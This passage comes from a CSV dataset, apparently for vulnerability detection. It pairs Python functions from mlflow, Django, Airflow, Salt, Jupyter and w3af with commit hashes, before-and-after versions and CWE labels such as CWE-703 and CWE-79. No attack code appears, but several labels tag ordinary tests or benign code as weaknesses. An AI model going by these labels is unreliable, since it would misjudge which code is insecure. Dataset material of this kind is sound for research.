        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def get_latest_versions(self, name, stages=None):
        """"""
        Latest version models for each requests stage. If no ``stages`` provided, returns the
        latest version for each stage.

        :param name: Name of the registered model to update.
        :param stages: List of desired stages. If input list is None, return latest versions for
                       for ALL_STAGES.
        :return: List of :py:class:`mlflow.entities.model_registry.ModelVersion` objects.
        """"""
        return self._get_registry_client().get_latest_versions(name, stages)",,mlflow/mlflow,7704e2c274a234986eabde6cd050e1ab9df81a5a,"def get_latest_versions(self, name, stages=None):
        """"""
        Latest version models for each requests stage. If no ``stages`` provided, returns the
        latest version for each stage.

        :param name: Name of the registered model to update.
        :param stages: List of desired stages. If input list is None, return latest versions for
                       for ALL_STAGES.
        :return: List of `:py:class:`mlflow.entities.model_registry.ModelVersionDetailed` objects.
        """"""
        return self._get_registry_client().get_latest_versions(name, stages)"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        expected_invalid_str = 'INVALID'

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id': 0, 'action': ""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            with translation.override(vals[1].get('LANGUAGE_CODE', 'en-us')):

                for invalid_str, template_debug, result in [
                        ('', False, normal_string_result),
                        (expected_invalid_str, False, invalid_string_result),
                        ('', True, template_debug_result)
                ]:
                    with override_settings(TEMPLATE_STRING_IF_INVALID=invalid_str,
                                           TEMPLATE_DEBUG=template_debug):
                        for is_cached in (False, True):
                            try:
                                try:
                                    with warnings.catch_warnings():
                                        # Ignore pending deprecations of loading 'ssi' and 'url' tags from future.
                                        warnings.filterwarnings(""ignore"", category=RemovedInDjango19Warning, module='django.templatetags.future')
                                        # Ignore deprecations of loading 'cycle' and 'firstof' tags from future.
                                        warnings.filterwarnings(""ignore"", category=RemovedInDjango20Warning, module=""django.templatetags.future"")
                                        test_template = loader.get_template(name)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                                try:
                                    with warnings.catch_warnings():
                                        # Ignore deprecations of using the wrong number of variables with the 'for' tag.
                                        warnings.filterwarnings(""ignore"", category=RemovedInDjango20Warning, module=""django.template.defaulttags"")
                                        output = self.render(test_template, vals)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                            except ContextStackException:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                                continue
                            except Exception:
                                exc_type, exc_value, exc_tb = sys.exc_info()
                                if exc_type != result:
                                    tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                                continue
                            if output != result:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                        cache_loader.reset()

                if template_base.invalid_var_format_string:
                    expected_invalid_str = 'INVALID'
                    template_base.invalid_var_format_string = False

        restore_template_loaders()

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-' * 70, (""\n%s\n"" % ('-' * 70)).join(failures)))",CWE-703,django/django,2aaa045c61a3d4b325f964aa01554107b47b9774,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        expected_invalid_str = 'INVALID'

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id': 0, 'action': ""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            with translation.override(vals[1].get('LANGUAGE_CODE', 'en-us')):

                for invalid_str, template_debug, result in [
                        ('', False, normal_string_result),
                        (expected_invalid_str, False, invalid_string_result),
                        ('', True, template_debug_result)
                ]:
                    with override_settings(TEMPLATE_STRING_IF_INVALID=invalid_str,
                                           TEMPLATE_DEBUG=template_debug):
                        for is_cached in (False, True):
                            try:
                                try:
                                    with warnings.catch_warnings():
                                        # Ignore pending deprecations of loading 'ssi' and 'url' tags from future.
                                        warnings.filterwarnings(""ignore"", category=RemovedInDjango19Warning, module='django.templatetags.future')
                                        # Ignore deprecations of loading 'cycle' and 'firstof' tags from future.
                                        warnings.filterwarnings(""ignore"", category=RemovedInDjango20Warning, module=""django.templatetags.future"")
                                        test_template = loader.get_template(name)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                                try:
                                    output = self.render(test_template, vals)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                            except ContextStackException:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                                continue
                            except Exception:
                                exc_type, exc_value, exc_tb = sys.exc_info()
                                if exc_type != result:
                                    tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                                continue
                            if output != result:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                        cache_loader.reset()

                if template_base.invalid_var_format_string:
                    expected_invalid_str = 'INVALID'
                    template_base.invalid_var_format_string = False

        restore_template_loaders()

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-' * 70, (""\n%s\n"" % ('-' * 70)).join(failures)))"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_class_and_artifacts.py,1,"def test_load_model_with_missing_cloudpickle_version_logs_warning(model_path):
    class TestModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input):
            return model_input

    mlflow.pyfunc.save_model(path=model_path, python_model=TestModel())
    model_config_path = os.path.join(model_path, ""MLmodel"")
    model_config = Model.load(model_config_path)
    del model_config.flavors[mlflow.pyfunc.FLAVOR_NAME][
        mlflow.pyfunc.model.CONFIG_KEY_CLOUDPICKLE_VERSION
    ]
    model_config.save(model_config_path)

    log_messages = []

    def custom_warn(message_text, *args, **kwargs):
        log_messages.append(message_text % args % kwargs)

    with mock.patch(""mlflow.pyfunc._logger.warning"") as warn_mock:
        warn_mock.side_effect = custom_warn
        mlflow.pyfunc.load_pyfunc(model_uri=model_path)

    assert any(
        [
            (
                ""The version of CloudPickle used to save the model could not be found""
                "" in the MLmodel configuration""
            )
            in log_message
            for log_message in log_messages
        ]
    )",CWE-703,mlflow/mlflow,a633ace3bf877aa663c3f989bb9936f171e0b14a,"def test_load_model_with_missing_cloudpickle_version_logs_warning(model_path):
    class TestModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input):
            return model_input

    mlflow.pyfunc.save_model(path=model_path, python_model=TestModel())
    model_config_path = os.path.join(model_path, ""MLmodel"")
    model_config = Model.load(model_config_path)
    del model_config.flavors[mlflow.pyfunc.FLAVOR_NAME][
        mlflow.pyfunc.model.CONFIG_KEY_CLOUDPICKLE_VERSION
    ]
    model_config.save(model_config_path)

    log_messages = []

    def custom_warn(message_text, *args, **kwargs):
        log_messages.append(message_text % args % kwargs)

    with mock.patch(""mlflow.pyfunc._logger.warning"") as warn_mock:
        warn_mock.side_effect = custom_warn
        mlflow.pyfunc.load_pyfunc(model_uri=model_path)

    assert any(
        [
            (
                ""The version of CloudPickle used to save the model could not be found""
                "" in the MLmodel configuration""
            )
            in log_message
            for log_message in log_messages
        ]
    )"
,UNKNOWN,UNKNOWN,tests/transformers/test_transformers_model_export.py,1,"def test_uri_directory_renaming_handling_components(model_path, small_seq2seq_pipeline):
    components = {
        ""tokenizer"": small_seq2seq_pipeline.tokenizer,
        ""model"": small_seq2seq_pipeline.model,
    }

    with mlflow.start_run():
        mlflow.transformers.save_model(transformers_model=components, path=model_path)

    absolute_model_directory = os.path.join(model_path, ""model"")
    renamed_to_old_convention = os.path.join(model_path, ""pipeline"")
    os.rename(absolute_model_directory, renamed_to_old_convention)

    # remove the 'model_binary' entries to emulate older versions of MLflow
    mlmodel_file = os.path.join(model_path, ""MLmodel"")
    with open(mlmodel_file) as yaml_file:
        mlmodel = yaml.safe_load(yaml_file)

    mlmodel[""flavors""][""python_function""].pop(""model_binary"", None)
    mlmodel[""flavors""][""transformers""].pop(""model_binary"", None)

    with open(mlmodel_file, ""w"") as yaml_file:
        yaml.safe_dump(mlmodel, yaml_file)

    loaded_model = mlflow.pyfunc.load_model(model_path)

    prediction = loaded_model.predict(""test"")
    assert isinstance(prediction, pd.DataFrame)
    assert isinstance(prediction[""label""][0], str)",CWE-703,mlflow/mlflow,bb4b15d8fd6e8240f709bb030c1ef1019753cb2b,"def test_uri_directory_renaming_handling_components(model_path, small_seq2seq_pipeline):
    components = {
        ""tokenizer"": small_seq2seq_pipeline.tokenizer,
        ""model"": small_seq2seq_pipeline.model,
    }

    with mlflow.start_run():
        mlflow.transformers.save_model(transformers_model=components, path=model_path)

    absolute_model_directory = os.path.join(model_path, ""model"")
    renamed_to_old_convention = os.path.join(model_path, ""pipeline"")
    os.rename(absolute_model_directory, renamed_to_old_convention)

    # remove the 'model_binary' entries to emulate older versions of MLflow
    mlmodel_file = os.path.join(model_path, ""MLmodel"")
    with open(mlmodel_file) as yaml_file:
        mlmodel = yaml.safe_load(yaml_file)

    mlmodel[""flavors""][""python_function""].pop(""model_binary"", None)
    mlmodel[""flavors""][""transformers""].pop(""model_binary"", None)

    with open(mlmodel_file, ""w"") as yaml_file:
        yaml.safe_dump(mlmodel, yaml_file)

    loaded_model = mlflow.pyfunc.load_model(model_path)

    prediction = loaded_model.predict(""test"")
    assert isinstance(prediction, pd.DataFrame)
    assert isinstance(prediction[""label""][0], str)"
,UNKNOWN,UNKNOWN,tests/jobs/test_triggerer_job.py,1,"def test_capacity_decode():
    """"""
    Tests that TriggererJob correctly sets capacity to a valid value passed in as a CLI arg,
    handles invalid args, or sets it to a default value if no arg is passed.
    """"""
    # Positive cases
    variants = [
        42,
        None,
    ]
    for input_str in variants:
        job = Job()
        job_runner = TriggererJobRunner(job, capacity=input_str)
        assert job_runner.capacity == input_str or job_runner.capacity == 1000

    # Negative cases
    variants = [
        ""NAN"",
        0.5,
        -42,
        4 / 2,  # Resolves to a float, in addition to being just plain weird
    ]
    for input_str in variants:
        job = Job()
        with pytest.raises(ValueError):
            TriggererJobRunner(job=job, capacity=input_str)",CWE-703,apache/airflow,a0c2071834506f2342e9ac88c65003510a5efde8,"def test_capacity_decode():
    """"""
    Tests that TriggererJob correctly sets capacity to a valid value passed in as a CLI arg,
    handles invalid args, or sets it to a default value if no arg is passed.
    """"""
    # Positive cases
    variants = [
        42,
        None,
    ]
    for input_str in variants:
        job = Job()
        job_runner = TriggererJobRunner(job, capacity=input_str)
        assert job_runner.capacity == input_str or job_runner.capacity == 1000

    # Negative cases
    variants = [
        ""NAN"",
        0.5,
        -42,
        4 / 2,  # Resolves to a float, in addition to being just plain weird
    ]
    for input_str in variants:
        with pytest.raises(ValueError):
            job = Job()
            TriggererJobRunner(job=job, capacity=input_str)"
,UNKNOWN,UNKNOWN,tests/unit/grains/test_core.py,1,"def test_linux_iqn_non_root(self):
        '''
        Test if linux_iqn is running on salt-master as non-root
        and handling access denial properly.
        :return:
        '''
        assert core._linux_iqn() == []
        core.log.debug.assert_called()
        assert 'Error while accessing' in core.log.debug.call_args[0][0]
        assert 'cables are not the same' in core.log.debug.call_args[0][2].strerror
        assert core.log.debug.call_args[0][2].errno == os.errno.EPERM
        assert core.log.debug.call_args[0][1] == '/etc/iscsi/initiatorname.iscsi'",CWE-703,saltstack/salt,5149cdbbd95f0e80a92744dc18dc41e0acc85fa6,"def test_linux_iqn_non_root(self):
        '''
        Test if linux_iqn is running on salt-master as non-root
        and handling access denial properly.
        :return:
        '''
        assert core._linux_iqn() == []
        core.log.debug.assert_called()
        assert 'Error while accessing' in core.log.debug.call_args[0][0]
        assert 'cables are not the same' in core.log.debug.call_args[0][2][1]
        assert core.log.debug.call_args[0][2][0] == os.errno.EPERM
        assert core.log.debug.call_args[0][1] == '/etc/iscsi/initiatorname.iscsi'"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/azure_blob_artifact_repo.py,0,"def log_artifacts(self, local_dir, artifact_path=None):
        (container, _, dest_path) = self.parse_wasbs_uri(self.artifact_uri)
        container_client = self.client.get_container_client(container)
        if artifact_path:
            dest_path = posixpath.join(dest_path, artifact_path)
        local_dir = os.path.abspath(local_dir)
        for (root, _, filenames) in os.walk(local_dir):
            upload_path = dest_path
            if root != local_dir:
                rel_path = os.path.relpath(root, local_dir)
                upload_path = posixpath.join(dest_path, rel_path)
            for f in filenames:
                remote_file_path = posixpath.join(upload_path, f)
                local_file_path = os.path.join(root, f)
                with open(local_file_path, ""rb"") as file:
                    container_client.upload_blob(remote_file_path, file)",,mlflow/mlflow,7dfc2d6701b41b9a9b39ce7ade22be1816e1c2d2,"def log_artifacts(self, local_dir, artifact_path=None):
        (container, _, dest_path) = self.parse_wasbs_uri(self.artifact_uri)
        container_client = self.client.get_container_client(container)
        if artifact_path:
            dest_path = posixpath.join(dest_path, artifact_path)
        local_dir = os.path.abspath(local_dir)
        for (root, _, filenames) in os.walk(local_dir):
            upload_path = dest_path
            if root != local_dir:
                rel_path = os.path.relpath(root, local_dir)
                upload_path = posixpath.join(dest_path, rel_path)
            for f in filenames:
                remote_file_path = posixpath.join(upload_path, f)
                local_file_path = os.path.join(root, f)
                with open(local_file_path, ""rb"") as file:
                    container_client.upload_blob(remote_file_path, file)"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(field_name, cl.model,
            model_admin = cl.model_admin,
            return_attr = True
        )
        if attr:
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
                    ""class_attrib"": format_html(' class=""column-{0}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{0}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field
        make_qs_param = lambda t, n: ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{0}""', ' '.join(th_classes)) if th_classes else '',
        }",CWE-79,django/django,8eec2d93b6e93b8a1107fb3de2acd68d6994d6ec,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(field_name, cl.model,
            model_admin = cl.model_admin,
            return_attr = True
        )
        if attr:
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
                    ""class_attrib"": format_html(' class=""column-{0}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{0}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = [] # URL for making this field the primary sort
        o_list_remove = [] # URL for removing this field from sort
        o_list_toggle = [] # URL for toggling order type for this field
        make_qs_param = lambda t, n: ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i: # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{0}""', ' '.join(th_classes)) if th_classes else '',
        }"
,UNKNOWN,UNKNOWN,tests/always/test_providers_manager.py,1,"def test_secrets_backends(self):
        provider_manager = ProvidersManager()
        secrets_backends_class_names = list(provider_manager.secrets_backend_class_names)
        assert len(secrets_backends_class_names) > 4",CWE-703,apache/airflow,ec39ba481061ba1621ec14d846adf7cc8ad27ec1,"def test_secrets_backends(self):
        provider_manager = ProvidersManager()
        secrets_backends_class_names = list(provider_manager.secrets_backend_class_names)
        assert len(secrets_backends_class_names) > 4"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/backends/tests.py,0,"def test_connect_non_autocommit(self):
        """"""
        The connection wrapper shouldn't believe that autocommit is enabled
        after setting the time zone when AUTOCOMMIT is False (#21452).
        """"""
        databases = copy.deepcopy(settings.DATABASES)
        databases[DEFAULT_DB_ALIAS]['AUTOCOMMIT'] = False
        new_connections = ConnectionHandler(databases)
        new_connection = new_connections[DEFAULT_DB_ALIAS]
        try:
            # Open a database connection.
            new_connection.cursor()
            self.assertFalse(new_connection.get_autocommit())
        finally:
            new_connection.close()",CWE-Unknown,django/django,9b7d512d5fb88844d920929b3cbb9d6c38b8b891,"def test_connect_non_autocommit(self):
        """"""
        The connection wrapper shouldn't believe that autocommit is enabled
        after setting the time zone when AUTOCOMMIT is False (#21452).
        """"""
        databases = copy.deepcopy(settings.DATABASES)
        databases[DEFAULT_DB_ALIAS]['AUTOCOMMIT'] = False
        new_connections = ConnectionHandler(databases)
        new_connection = new_connections[DEFAULT_DB_ALIAS]
        try:
            # Open a database connection.
            new_connection.cursor()
            self.assertFalse(new_connection.get_autocommit())
        finally:
            new_connection.close()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/kernels/kernelmanager.py,0,"def restart_kernel(self, kernel_id):
        """"""Restart a kernel by kernel_id""""""
        self._check_kernel_id(kernel_id)
        yield gen.maybe_future(super(MappingKernelManager, self).restart_kernel(kernel_id))
        kernel = self.get_kernel(kernel_id)
        # return a Future that will resolve when the kernel has successfully restarted
        channel = kernel.connect_shell()
        future = Future()
        
        def finish():
            """"""Common cleanup when restart finishes/fails for any reason.""""""
            if not channel.closed():
                channel.close()
            loop.remove_timeout(timeout)
            kernel.remove_restart_callback(on_restart_failed, 'dead')
        
        def on_reply(msg):
            self.log.debug(""Kernel info reply received: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_result(msg)
            
        def on_timeout():
            self.log.warning(""Timeout waiting for kernel_info_reply: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_exception(gen.TimeoutError(""Timeout waiting for restart""))
        
        def on_restart_failed():
            self.log.warning(""Restarting kernel failed: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_exception(RuntimeError(""Restart failed""))
        
        kernel.add_restart_callback(on_restart_failed, 'dead')
        kernel.session.send(channel, ""kernel_info_request"")
        channel.on_recv(on_reply)
        loop = IOLoop.current()
        timeout = loop.add_timeout(loop.time() + self.kernel_info_timeout, on_timeout)
        # wait for restart to complete
        yield future",,jupyter/notebook,9e5c6ef360eb41d728c6b67de14607805cc8d283,"def restart_kernel(self, kernel_id):
        """"""Restart a kernel by kernel_id""""""
        self._check_kernel_id(kernel_id)
        yield gen.maybe_future(super(MappingKernelManager, self).restart_kernel(kernel_id))
        kernel = self.get_kernel(kernel_id)
        # return a Future that will resolve when the kernel has successfully restarted
        channel = kernel.connect_shell()
        future = Future()
        
        def finish():
            """"""Common cleanup when restart finishes/fails for any reason.""""""
            if not channel.closed():
                channel.close()
            loop.remove_timeout(timeout)
            kernel.remove_restart_callback(on_restart_failed, 'dead')
        
        def on_reply(msg):
            self.log.debug(""Kernel info reply received: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_result(msg)
            
        def on_timeout():
            self.log.warning(""Timeout waiting for kernel_info_reply: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_exception(gen.TimeoutError(""Timeout waiting for restart""))
        
        def on_restart_failed():
            self.log.warning(""Restarting kernel failed: %s"", kernel_id)
            finish()
            if not future.done():
                future.set_exception(RuntimeError(""Restart failed""))
        
        kernel.add_restart_callback(on_restart_failed, 'dead')
        kernel.session.send(channel, ""kernel_info_request"")
        channel.on_recv(on_reply)
        loop = IOLoop.current()
        timeout = loop.add_timeout(loop.time() + self.kernel_info_timeout, on_timeout)
        raise gen.Return(future)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/client/ssh/wrapper/test_cp.py,1,"def test_get_url_non_salt_dest_empty_without_no_cache(client, cache_root, dest):
    """"""
    Even when dest is None, but no_cache is False, the file should be sent
    to the minion cache.
    """"""
    tgt = Path(cache_root) / ""extrn_files"" / ""base"" / ""saltproject.io"" / ""index.html""
    local_cache = (
        Path(cache_root)
        / ""salt-ssh""
        / TGT
        / ""extrn_files""
        / ""base""
        / ""saltproject.io""
        / ""index.html""
    )
    res = client.get_url(""https://saltproject.io/index.html"", dest)
    assert res
    assert local_cache.exists()
    assert res == str(local_cache)
    assert str(local_cache) in client.target_map
    assert client.target_map[str(local_cache)] == str(tgt)
    client.shell.send.assert_called_once_with(str(local_cache), str(tgt), True)",CWE-703,saltstack/salt,fe28c55227c861c488a8771d4d7aae7c1654c186,"def test_get_url_non_salt_dest_empty_without_no_cache(client, cache_root, dest):
    """"""
    Even when dest is None, but no_cache is False, the file should be sent
    to the minion cache.
    """"""
    tgt = (
        Path(cache_root) / ""extrn_files"" / ""base"" / ""repo.saltproject.io"" / ""index.html""
    )
    local_cache = (
        Path(cache_root)
        / ""salt-ssh""
        / TGT
        / ""extrn_files""
        / ""base""
        / ""repo.saltproject.io""
        / ""index.html""
    )
    res = client.get_url(""https://repo.saltproject.io/index.html"", dest)
    assert res
    assert local_cache.exists()
    assert local_cache.read_text() == ""hi there""
    assert res == str(local_cache)
    assert str(local_cache) in client.target_map
    assert client.target_map[str(local_cache)] == str(tgt)
    client.shell.send.assert_called_once_with(str(local_cache), str(tgt), True)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/dependency_check/dependency_check.py,0,"def dependency_check(dependency_set=CORE, exit_on_failure=True):
    """"""
    This function verifies that the dependencies that are needed by the
    framework core are met.
    
    :return: True if the process should exit
    """"""
    verify_python_version()
    
    disable_warnings()

    platform = get_current_platform()

    #
    #    Check for missing python modules
    #
    failed_deps = []
    pip_distributions = pip.get_installed_distributions(local_only=False)
    
    for w3af_req in platform.PIP_PACKAGES[dependency_set]:
        for dist in pip_distributions:
            if w3af_req.package_name.lower() == dist.project_name.lower():

                w3af_req_version = str(Version(w3af_req.package_version))
                dist_version = str(dist.version)

                if w3af_req_version == dist_version:
                    # It's installed and the version matches!
                    break
        else:
            failed_deps.append(w3af_req)

    #
    #    Check for missing operating system packages
    #
    missing_os_packages = []
    for os_package in platform.SYSTEM_PACKAGES[dependency_set]:
        if not platform.os_package_is_installed(os_package):
            missing_os_packages.append(os_package)
    
    os_packages = list(set(missing_os_packages))

    # All installed?
    if not failed_deps and not os_packages:
        # False means: do not exit()
        enable_warnings()
        return False

    generate_requirements_txt(failed_deps)
    script_path = generate_helper_script(platform.PKG_MANAGER_CMD, os_packages,
                                         platform.PIP_CMD, failed_deps)

    #
    #    Report the missing system packages
    #
    msg = ('w3af\'s requirements are not met, one or more third-party'
           ' libraries need to be installed.\n\n')
          
    if os_packages:
        missing_pkgs = ' '.join(os_packages)
        
        msg += ('On %s systems please install the following operating'
                ' system packages before running the pip installer:\n'
                '    %s %s\n')
        print(msg % (platform.SYSTEM_NAME, platform.PKG_MANAGER_CMD,
                     missing_pkgs))
        
    #
    #    Report all missing python modules
    #    
    if failed_deps:
        # pylint: disable=E1101
        msg = ('Your python installation needs the following modules'
               ' to run w3af:\n')
        msg += '    ' + ' '.join([fdep.module_name for fdep in failed_deps])
        print(msg)
        print('\n')
        # pylint: enable=E1101
        
        #
        #    Report missing pip packages
        #
        not_git_pkgs = [fdep for fdep in failed_deps if not fdep.is_git]
        git_pkgs = [fdep.git_src for fdep in failed_deps if fdep.is_git]
        
        msg = ('After installing any missing operating system packages, use'
               ' pip to install the remaining modules:\n')
        
        if not_git_pkgs:
